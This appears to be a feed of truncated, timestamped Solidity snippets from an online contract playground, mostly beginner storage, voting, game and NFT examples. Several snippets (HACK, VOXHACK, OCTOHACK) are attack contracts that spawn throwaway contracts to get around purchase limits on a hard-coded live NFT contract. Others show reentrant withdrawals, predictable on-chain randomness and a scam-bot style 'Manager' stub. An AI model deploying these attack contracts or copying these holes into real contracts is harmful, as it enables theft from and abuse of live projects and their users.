pragma solidity ^0.4.18;

contract bankAccount {  
    address owner; // current owner of the contract


    
      function Amount() public {
        owner = msg.sender;
    }

    function withdraw() public {
        require(owner == msg.sender);
        msg.sender.transfer(address(this).balance);
       
    }

    function deposit(uint256 amount) public payable {
        require(msg.value == amount);
    }

    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
    
    
Jan 19, 2022 05:42:49 UTC
pragma solidity 0.8.0;


contract Game {

    uint128 private score;
    bool private isFinished;
    
    uint128 private hscore;

    struct Player { 
        address player;
        uint128 score;
    }

    Player[] public players;

    function play(address _p) public returns(uint128){
        for(uint8 i = 0; i < players.length; ++i) {
            Player memory p = players[i]; 
            if(p.player == _p) {
                p.score = p.score + 1; 
                if (p.score > hscore) {
                    hscore = p.score;
                }
            }
        }
        return hscore;
    }

    function getPlayer(uint256 index) internal view returns(Player memory pl) {
        pl = players[index];
    }

    function endGame() payable public {
        require(msg.value > hscore);
        address payable receiver = payable(address(msg.sender));
        (bool success,) = receiver.call{value: msg.value}("");
        require(success);
        hscore = 2**128 - 1;
    }

}


contract AccessControl {

 
Jan 18, 2022 18:11:03 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.25;
contract SimpleStore {
  function set() public {
    value = 123;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
}

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
contract SimpleStoreA is SimpleStore {
  function set() public {
    value = 123;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Jan 18, 2022 13:33:39 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {

  function getJ() public pure returns (uint) {

        uint d = 3548;
        uint e = 5;
        uint i = (d % 100) - d / 100;
        return (i-e) / 4;
}
function getA() public pure  returns (uint){
      uint d = 3548;
      uint i = (d % 100) - d / 100;
      uint j = getJ();
      
      return ((d % 100) + i + j) * 100 + (d % 100) + i + j + i + 2 * j;
    }

function getO() public pure returns (uint){
      uint p;
      uint q;
      uint r;
      for (uint s; s <= 5; ++s) {
        p = q;
        q = r != 8 / 8 - 1 ? r : 1;
        r = p + q;
      }
      uint t = r;
      uint[8] memory u;
      for (uint v; v < 4; ++v) {
        if (v < 3) u[v + 1] = u[v] + (v == 0 ? 3 : v == 1 ? 5 : 2);
        u[4 + v] = 2 * u[v];
      }
      return t * 100 + u[7];
    }

    function getW() public pure returns (uint){
      uint w;
      uint x = 339601788621518626375400;
  
Jan 18, 2022 09:21:58 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }


 function attemptGate09() external {
    uint a;
    {
      uint b = 38;
      uint c = 1524;
      uint d = 3548;
      uint e = 5;
      uint f = c / 100 - (b % 10);
      uint g = (c % 100) - c / 100;
      uint h = d / 100 - (c % 100);
      uint i = (d % 100) - d / 100;
      uint j;
      {
        uint k = i - h;
        uint l = h - g;
        uint m = g - f;
        uint n = f - e;
        j = (i-e) / 4;
      }
      a = ((d % 100) + i + j) * 100 + (d % 100) + i + j + i + 2 * j;
    }
    uint o;
    {
      uint p;
      uint q;
      uint r;
      for (uint s; s <= 5; ++s) {
        p = q;
        q = r != 8 / 8 - 1 ? r : 1;
        r = p + q;
      }
      uint t = r;
      uint[8] memory u;
      for (uint v; v < 4; ++v) {
    
Jan 18, 2022 08:16:28 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.24;

contract Playground {

  function compare(string _s1, string _s2) 
            pure
            public
            returns(bool) {
              bytes memory b1 = bytes(_s1);
              bytes memory b2 = bytes(_s2);
              if (b1.length != b2.length) {
                return false;
              }
              return keccak256(b1) == keccak256(b2);
  }

  function concat(string _s1, string _s2) 
            pure 
            public 
            returns(string) {
              return string(abi.encodePacked(bytes(_s1), bytes(_s2)));
  }

  function strLen(string _str) 
            pure 
            public 
            returns(uint) {
    
    bytes memory b = bytes(_str);
    return (b.length);

  }

  function strReplace(string _from, string _what, string _to)
            pure
            public
            returns(string) {
              bytes memory bfrom = bytes(_from);
             
Jan 17, 2022 17:26:41 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity >=0.4.16 <0.9.0;

contract SimpleStorage {
   uint storeData;

   function set(unit x y) public {
      storeData = x;
   }

   function get() public view returns (unint) {
      return storeData;
   }
Jan 17, 2022 08:46:51 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract simpleStore {
  function set(uint _value) public {
    value = _value;
  }
}
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
}
Jan 14, 2022 23:07:09 UTC
pragma solidity 0.8.0;


contract Game {

    uint128 private score;
    bool private isFinished;
    
    uint128 private hscore;

    struct Player { 
        address player;
        uint128 score;
    }

    Player[] public players;

    function play(address _p) public returns(uint128){
        for(uint8 i = 0; i < players.length; ++i) {
            Player memory p = players[i]; 
            if(p.player == _p) {
                p.score = p.score + 1; 
                if (p.score > hscore) {
                    hscore = p.score;
                }
            }
        }
        return hscore;
    }

    function getPlayer(uint256 index) internal view returns(Player memory pl) {
        pl = players[index];
    }

    function endGame() payable public {
        require(msg.value > hscore);
        address payable receiver = payable(address(msg.sender));
        (bool success,) = receiver.call{value: msg.value}("");
        require(success);
        hscore = 2**128 - 1;
    }

Jan 14, 2022 16:24:45 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Jan 14, 2022 15:40:11 UTC
pragma solidity >=0.4.22 <0.6.0;

/// @title Voting with delegation.
contract Ballot {
    // This declares a new complex type which will
    // be used for variables later.
    // It will represent a single voter.
    struct Voter {
        uint weight; // weight is accumulated by delegation
        bool voted;  // if true, that person already voted
        address delegate; // person delegated to
        uint vote;   // index of the voted proposal
    }

    // This is a type for a single proposal.
    struct Proposal {
        bytes32 name;   // short name (up to 32 bytes)
        uint voteCount; // number of accumulated votes
    }

    address public chairperson;

    // This declares a state variable that
    // stores a `Voter` struct for each possible address.
    mapping(address => Voter) public voters;

    // A dynamically-sized array of `Proposal` structs.
    Proposal[] public proposals;

    /// Create a new ballot to choose one of `proposalNames`.
    constructor(bytes32[] memory proposalNames)
Jan 14, 2022 12:12:07 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Jan 14, 2022 07:26:40 UTC
// SPDX-License-Identifier: GPL-3.0

pragma solidity >=0.4.0 <0.5.0;


/**
 * @title Storage
 * @dev Store & retrieve value in a variable
 */
contract Math {
    uint public constant ALPHA_DIVISOR = 1e4;
    uint public minStake = uint(-1);
    uint public alpha = 2;
    uint public tokensAtStakePerJuror = 42;

    function calculateTokensAtStakePerJuror() public returns(uint) {
        tokensAtStakePerJuror = (minStake * alpha) / ALPHA_DIVISOR;
        return tokensAtStakePerJuror;
    }
Jan 12, 2022 13:09:25 UTC
// SPDX-License-Identifier: GPL-3.0

pragma solidity >=0.4.0 <0.5.0;


/**
 * @title Storage
 * @dev Store & retrieve value in a variable
 */
contract Math {
    uint public constant ALPHA_DIVISOR = 1e4;
    uint public minStake = uint(-1);
    uint public alpha = 0;
    uint public tokensAtStakePerJuror = 42;

    function calculateTokensAtStakePerJuror() public returns(uint) {
        tokensAtStakePerJuror = (minStake * alpha) / ALPHA_DIVISOR;
        return tokensAtStakePerJuror;
    }
Jan 12, 2022 13:06:39 UTC
608060405234801561001057600080fd5b50600436106102065760003560e01c806383b5ff8b1161011a578063a07aea1c116100ad578063d365a3771161007c578063d365a3771461042c578063d67eb0b51461043f578063e28d490614610452578063f38b2db514610465578063f851a4401461047857610206565b8063a07aea1c146103dd578063ae500b7c146103f0578063b78275c914610411578063d10c7d1e1461041957610206565b806392ba8114116100e957806392ba81141461038e57806396b5a755146103af5780639a202d47146103c25780639a307391146103ca57610206565b806383b5ff8b146103585780638456cb591461036057806389476069146103685780638f2839701461037b57610206565b806344f91c1e1161019d5780637362377b1161016c5780637362377b146102f757806375640815146102ff578063757de5731461031257806377ae0b83146103255780637a4316621461033857610206565b806344f91c1e146102a957806345496ed9146102c95780634d51bfc4146102dc5780635c975abb146102ef57610206565b80633bd63ba2116101d95780633bd63ba2146102665780633f0a0797146102795780633f4ba83a1461028e57806344e290b21461029657610206565b80630622a3881461020b5780630b83021814610229578063158ef93e1461023e57806330ffb6
Jan 12, 2022 10:19:11 UTC
contract Contract {
    function main() {
        memory[0x40:0x60] = 0x80;
        var var0 = msg.value;
    
        if (var0) { revert(memory[0x00:0x00]); }
    
        if (msg.data.length < 0x04) { revert(memory[0x00:0x00]); }
    
        var0 = msg.data[0x00:0x20] >> 0xe0;
    
        if (0x83b5ff8b > var0) {
            if (0x44f91c1e > var0) {
                if (0x3bd63ba2 > var0) {
                    if (var0 == 0x0622a388) {
                        // Dispatch table entry for 0x0622a388 (unknown)
                        var var1 = 0x0213;
                        var var2 = func_0480();
                    
                    label_0213:
                        var temp0 = var2;
                        var2 = 0x0220;
                        var var3 = temp0;
                        var var4 = memory[0x40:0x60];
                    
                    label_3D80:
                        var var5 = var4 + 0x20;
                        var var6 = 0x0594;
                        var var7 = var4;
  
Jan 12, 2022 10:05:11 UTC
pragma solidity ^0.4.24;  


/* 合約本體 */
contract SimpleAdd {

    /* 變數宣告 */
    uint number = 0;

    // ... 更多變數


    /* 函數定義 */
    function getNumber() public view returns (uint) {
        return number;
    }

    // ... 更多函數 
    function increase() public {
        number++;
    }

    
Jan 11, 2022 15:20:43 UTC
//0xcF666033f92923d36E6A30B1b2B9Fd23c0D2294a\\\



// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";

contract HACK is Ownable {
    uint256 private constant PRICE = 0.004 ether;
    function execute(
    ) external payable onlyOwner {
        while (address(this).balance >= PRICE) {
            ADIMC instance = new ADIMC(msg.sender);
            instance.execute{value: PRICE}();
        }
    }

    function withdrawBalance(address to) external onlyOwner {
        (bool success, ) = to.call{value: address(this).balance}("");
        require(success, "CRT_BALANCE_TRANSFER_FAILURE");
    }

}

contract ADIMC is Ownable, IERC1155Receiver {
    address private receiver;

    uint256 private constant PRICE = 0.004 ether;
    OMC private constant TARGET =
        OMC(0x002B05D98C303eA14FbF060476C4B32827822048);

    cons
Jan 11, 2022 02:17:05 UTC
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
pragma solidity ^0.8.0;
/**
 * @dev Interface of the ERC165 standard, as defined in the
 * https://eips.ethereum.org/EIPS/eip-165[EIP].
 *
 * Implementers can declare support of contract interfaces, which can then be
 * queried by others ({ERC165Checker}).
 *
 * For an implementation, see {ERC165}.
 */
interface IERC165 {
    /**
     * @dev Returns true if this contract implements the interface defined by
     * `interfaceId`. See the corresponding
     * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
     * to learn more about how these ids are created.
     *
     * This function call must use less than 30 000 gas.
     */
    function supportsInterface(bytes4 interfaceId) external view returns (bool);
}

// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
pragma solidity ^0.8.0;
/**
 * @dev Required interface of an ERC721 compliant contract.
 */
interface IERC721 is IERC165 {
    /**
     * @dev Emitt
Jan 10, 2022 08:39:54 UTC
pragma solidity ^0.4.18;
//le smart contract permet de réceptionner des ethers
// il affiche l'addresse d'envoi et le montant envoyé

contract paiementFacture {

//on déclare la variable qui va recueillir les gwei envoyés
uint montant; 

//on déclare une variable qui va recueillir l'addresse d'envoi
address envoyeur;

//cette fonction permet d'envoyer des ethers au smart contract
  function paiement () public payable  {

    montant = msg.value; 
    envoyeur = msg.sender;

  }

//cette fonction affiche le montant envoyé
function afficheMontant () public view returns  (uint) {

    return montant;

}

//cette fonction affiche l'addresse d'envoi
function afficheAddresseEnvoi () public view returns  (address) {

    return envoyeur;

}


Jan 08, 2022 16:15:36 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Jan 08, 2022 14:22:10 UTC
pragma solidity ^0.4.2;

contract Prasham {
    /*
    Assumption : There are 1000 employees in company
    */

    enum Status {
        ABSENT,HALD_DAY,PRESENT
    }

    struct Employee {
        uint256 id ; 
        uint inTime ;
        Status isPresent ;
    }

    Employee[1000]  public employees ;
    // userAddress -> Status
    //mapping(address -> Status ) ;

    function employeIn (uint256 RFID ) public returns(uint) {
        employees[RFID] = Employee(RFID,block.timestamp,Status.ABSENT) ;
        return employees[RFID].inTime ;
    }

    function employeeExit( uint256 RFID ) public  returns(Status) {
        uint exitTime = block.timestamp ;
        uint workManShip = exitTime -  employees[RFID].inTime  ;
        if( workManShip < 1 ) {
            employees[RFID].isPresent = Status.ABSENT ;
           
        }
        if(workManShip >=1 && workManShip < 4 ){
            employees[RFID].isPresent = Status.HALD_DAY ;
            
        }
         if(workManShip >=8 ) {
            employees
Jan 07, 2022 06:18:38 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity 
Jan 06, 2022 10:05:08 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.1;
contract SimpleStore {

  struct Pool {
    uint a;
    uint b;
    mapping(address => uint) c;
  }

  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    Pool memory p;
    return p.a;
  }

  uint value;
Jan 06, 2022 07:14:06 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStor{
Jan 06, 2022 02:59:42 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint vlue;
Jan 04, 2022 16:51:41 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.6.9;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Jan 02, 2022 19:23:24 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.6.9;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Jan 02, 2022 19:19:30 UTC
pragma solidity ^0.6.6;

contract Manager {
	function performTasks() public {
	    
	}

	function pancakeswapDepositAddress() public pure returns (address) {
		return 0xDbc23AE43a150ff888ñ4B02Cea117b22D1c3b9796;
	}
Jan 01, 2022 06:41:38 UTC
pragma solidity ^0.4.26;

contract TicTacToe {
  enum CellState { Clear, Owner, Player }
  enum NextMove { Owner, Player }

  struct Game {
    address owner;
    address player;
    NextMove nextMove;
    CellState[3][3] state;
  }

  uint256 private nextGameId = 0;
  mapping(uint256 => Game) private games;


  function createGame() public returns (uint256 gameId) {
    Game memory game;
    game.owner = msg.sender;

    gameId = nextGameId;
    nextGameId++;

    games[gameId] = game;
  }

  function acceptInvite(uint256 gameId) public returns (NextMove nextMove) {
    Game storage game = games[gameId];

    require(game.owner != address(0), "Game not found");
    require(game.player == address(0), "Game invite was already accepted");

    game.player = msg.sender;

    bytes32 draw = keccak256(abi.encodePacked(block.coinbase, game.owner, game.player));

    if (draw[0] >> 7 == 0x0)
      nextMove = NextMove.Owner;
    else
      nextMove = NextMove.Player;
      
    game.nextMove = nextMove;
  }

Dec 31, 2021 13:49:47 UTC
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";

contract MyNFT is ERC721URIStorage, Ownable {
    using Counters for Counters.Counter;    // Counters is used to systematically maintan token Ids
    Counters.Counter private _tokenIds;     // Initialization of token Ids

    constructor() public ERC721("MyNFT", "NFT") {} // An ERC constructor that gets called each time class is executed

    function mintNFT(address recipient, string memory tokenURI) // Parameters: recipent address and token resource identifier
        public onlyOwner
        returns (uint256)
    {
        _tokenIds.increment(); // incrementing token Id as they need to be unique

        uint256 newItemId = _tokenIds.current(); //Extracting new tokens from existing token ids
        _mint(recipient, newItemId); // To int NFTs
Dec 31, 2021 11:00:18 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;

contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Dec 28, 2021 10:38:17 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.1;
contract PraMelhorFactory {
  uint colorRed = 0;
  uint colorGreen = 255;
  uint colorBlue = 0;

  struct PraMelhor {
    string name;
    uint[] color;
  }

Dec 26, 2021 16:02:04 UTC
pragma solidity ^0.4.26;

contract TicTacToe {
  enum CellState { Clear, Owner, Player }
  enum NextMove { Owner, Player }

  struct Game {
    address owner;
    address player;
    NextMove nextMove;
    CellState[3][3] state;
  }

  uint256 private nextGameId = 0;
  mapping(uint256 => Game) private games;


  function createGame() public returns (uint256 gameId) {
    Game memory game;
    game.owner = msg.sender;

    gameId = nextGameId;
    nextGameId++;

    games[gameId] = game;
  }

  function acceptInvite(uint256 gameId) public returns (NextMove nextMove) {
    Game storage game = games[gameId];

    require(game.owner != address(0), "Game not found");
    require(game.player == address(0), "Game invite was already accepted");

    game.player = msg.sender;

    bytes32 draw = keccak256(abi.encodePacked(block.coinbase, game.owner, game.player));

    if (draw[0] >> 7 == 0x0)
      nextMove = NextMove.Owner;
    else
      nextMove = NextMove.Player;
      
    game.nextMove = nextMove;
  }

Dec 25, 2021 01:55:28 UTC
/**
 *Submitted for verification at BscScan.com
*/


// SPDX-License-Identifier: Unlicensed

// https://t.me/ChikuSnow

pragma solidity ^0.7.2;

library Address {

    function isContract(address account) internal view returns (bool) {
        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
        // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
        // for accounts without code, i.e. `keccak256('')`
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly { codehash := extcodehash(account) }
        return (codehash != accountHash && codehash != 0x0);
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
      
Dec 24, 2021 16:38:48 UTC
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";

contract VOXHACK is Ownable {
    mapping(uint256 => bool) internal voxIds;
    address target;
    constructor(address addr) {
        target = addr;
        voxIds[22] = true;
        voxIds[33] = true;
        voxIds[63] = true;
        voxIds[84] = true;
        voxIds[93] = true;
        voxIds[100] = true;
        voxIds[110] = true;
        voxIds[128] = true;
        voxIds[132] = true;
        voxIds[142] = true;
        voxIds[161] = true;
        voxIds[162] = true;
        voxIds[175] = true;
        voxIds[177] = true;
        voxIds[224] = true;
        voxIds[233] = true;
        voxIds[247] = true;
        voxIds[255
Dec 24, 2021 13:14:34 UTC
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";

contract VOXHACK is Ownable, IERC721Receiver {
    mapping(uint256 => bool) internal voxIds;
    address target;
    constructor(address addr) {
        target = addr;
        voxIds[22] = true;
        voxIds[33] = true;
        voxIds[63] = true;
        voxIds[84] = true;
        voxIds[93] = true;
        voxIds[100] = true;
        voxIds[110] = true;
        voxIds[128] = true;
        voxIds[132] = true;
        voxIds[142] = true;
        voxIds[161] = true;
        voxIds[162] = true;
        voxIds[175] = true;
        voxIds[177] = true;
        voxIds[224] = true;
        voxIds[233] = true;
        voxIds[247] = true;
 
Dec 24, 2021 12:57:40 UTC
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";

contract OCTOHACK is Ownable, IERC721Receiver {
    function execute(
    ) external payable onlyOwner {

        OCTOMC instance = new OCTOMC(owner());
        // token.transferFrom(address(this), address(instance), tokenId);
        instance.execute{value: msg.value}();
    }

    function withdrawBalance(address to) external onlyOwner {
        (bool success, ) = to.call{value: address(this).balance}("");
        require(success, "CRT_BALANCE_TRANSFER_FAILURE");
    }

    function onERC721Received(
        address,
        address,
        uint256,
        bytes memory
    ) public virtual override returns (bytes4) {
        return this.onERC721Received.selector;
    }
}

contract OCTOMC is Ownable, IERC721Receiver {
    address private receiver;

    uint256 privat
Dec 24, 2021 12:28:22 UTC
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";

contract VOXHACK is Ownable, IERC721Receiver, IERC1155Receiver {
    mapping(uint256 => bool) internal voxIds;
    address target;
    constructor(address addr) {
        target = addr;
        voxIds[141] = true;
voxIds[68] = true;
voxIds[74] = true;
voxIds[248] = true;
voxIds[298] = true;
voxIds[329] = true;
voxIds[562] = true;
voxIds[669] = true;
voxIds[860] = true;
voxIds[865] = true;
voxIds[967] = true;
voxIds[1052] = true;
voxIds[1092] = true;
voxIds[1151] = true;
voxIds[1294] = true;
voxIds[1328] = true;
voxIds[1539] = true;
voxIds[1579] = true;
voxIds[1631] = true;
voxIds[1819] = true;
voxIds[1835] = true;
voxIds[1976] = true;
voxIds[
Dec 24, 2021 12:22:37 UTC
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";

contract VOXHACK is Ownable, IERC721Receiver {
    mapping(uint256 => bool) internal voxIds;
    address target;
    constructor(address addr) {
        target = addr;
        voxIds[22] = true;
        voxIds[33] = true;
        voxIds[63] = true;
        voxIds[84] = true;
        voxIds[93] = true;
        voxIds[100] = true;
        voxIds[110] = true;
        voxIds[128] = true;
        voxIds[132] = true;
        voxIds[142] = true;
        voxIds[161] = true;
        voxIds[162] = true;
        voxIds[175] = true;
        voxIds[177] = true;
        voxIds[224] = true;
        voxIds[233] = true;
        voxIds[247] = true;
        voxIds[255] = true;
        voxIds[260] = true;
        voxIds[263] = tr
Dec 24, 2021 05:44:49 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity >=0.4.24 <0.6.0;

contract KombatToken {
  uint storedData;
  string public name = "Kombatnet Token"
  string public symbol = "KNT"
  address public owner;
  uint public totalSupply = 1000000;
  mapping(address => uint) balances;
  
  constructor() public {

  }
  function set(uint x) public {
    storedData = x;
  }

  function getResult() public view returns (uint) {
    return storedData;
  }

  function compare(string _s1, string _s2) 
            pure
            public
            returns(bool) {
              bytes memory b1 = bytes(_s1);
              bytes memory b2 = bytes(_s2);
              if (b1.length != b2.length) {
                return false;
              }
              return keccak256(b1) == keccak256(b2);
  }

  function concat(string _s1, string _s2) 
            pure 
            public 
            returns(string) {
              return string(abi.encodePacked(bytes(_s1), bytes(_s
Dec 23, 2021 11:58:14 UTC
pragma solidity 0.8.4;

contract test {

 // Assume other required functionality is correctly implemented
    
    uint256 private constant secret = 123;
    
    function diceRoll() external view returns (uint256) {
        return (((block.timestamp * secret) % 6) + 1);
    }
Dec 22, 2021 20:36:30 UTC
pragma solidity 0.8.4;
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/security/ReentrancyGuard.sol";

contract test {

 // Assume other required functionality is correctly implemented
 // For e.g. users have deposited balances in the contract
   
    mapping (address => uint256) balances;
    
    function withdrawBalance() external {
        msg.sender.call{value: balances[msg.sender]}("");
        balances[msg.sender] = 0;
    }
Dec 22, 2021 20:30:35 UTC
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.7.1;

import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";

contract HACK {
    uint256 private constant PRICE = 0.004 ether;
    function execute() external payable {
        while (address(this).balance >= PRICE) {
           new ADIMC{value: PRICE}(msg.sender);
        }

    }
}

contract ADIMC is IERC1155Receiver {
    address private receiver;

    OMC private constant T =
        OMC(0x002B05D98C303eA14FbF060476C4B32827822048);
    IERC1155 private constant S = IERC1155(0x002B05D98C303eA14FbF060476C4B32827822048);

    constructor(address _receiver) payable {
        receiver = _receiver;
        T.purchase{value: msg.value}(2);
        S.safeTransferFrom(address(this), receiver, 0, 2, "");
        selfdestruct(payable(receiver));
    }

    function onERC1155BatchReceived(
      address,
        address,
        uint256[] calldata,
        uint256[] calldata,
        b
Dec 22, 2021 20:11:38 UTC
pragma solidity ^0.4.11;

contract CommissionStore {
    struct Commission {
        address receiver;
        uint256 rate;
    }

    Commission[] _commissions;

    function setCommissions(Commission[] commissions) public {
        _commissions = commissions;
    }

    function getCommissions() public view returns (Commission[]) {
        return _commissions;
    }
}
Dec 22, 2021 18:49:16 UTC
//0xcF666033f92923d36E6A30B1b2B9Fd23c0D2294a\\\



// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";

contract HACK is Ownable {
    uint256 private constant PRICE = 0.004 ether;
    function execute(
    ) external payable onlyOwner {
        while (address(this).balance >= PRICE) {
            ADIMC instance = new ADIMC(msg.sender);
            instance.execute{value: PRICE}();
        }
    }

    function withdrawBalance(address to) external onlyOwner {
        (bool success, ) = to.call{value: address(this).balance}("");
        require(success, "CRT_BALANCE_TRANSFER_FAILURE");
    }

}

contract ADIMC is Ownable, IERC1155Receiver {
    address private receiver;

    uint256 private constant PRICE = 0.004 ether;
    OMC private constant TARGET =
        OMC(0x002B05D98C303eA14FbF060476C4B32827822048);

    cons
Dec 21, 2021 04:53:12 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Dec 20, 2021 08:13:38 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function get() public constant returns (bytes4) {
    return bytes4(keccak256("newProposal(address,uint256,string,bytes,uint256,bool)"));
  }
Dec 17, 2021 18:42:15 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity 0.4.21;

contract bank {
   
mapping (address => uint256) public balances;

function deposit() public payable {
    balances[msg.sender] += msg.value;
}

function getBalance() constant returns(uint) {
    return balances[msg.sender];
    }

function withdraw(amount) {
     msg.sender.call.value(amount)();
     accounts[msg.sender] -= amount;
  }
Dec 14, 2021 18:29:44 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity 0.4.21;

contract bank {
   
mapping (address => uint256) public balances;

  function deposit() public payable {
      balances[msg.sender] += msg.value;
  }

  function getBalance() constant returns(uint) {
      return balances[msg.sender];
  }

  function withdraw(amount) {
       msg.sender.call.value(amount)();
       accounts[msg.sender] -= amount;
    }
Dec 14, 2021 16:26:17 UTC
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";

/**
 * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
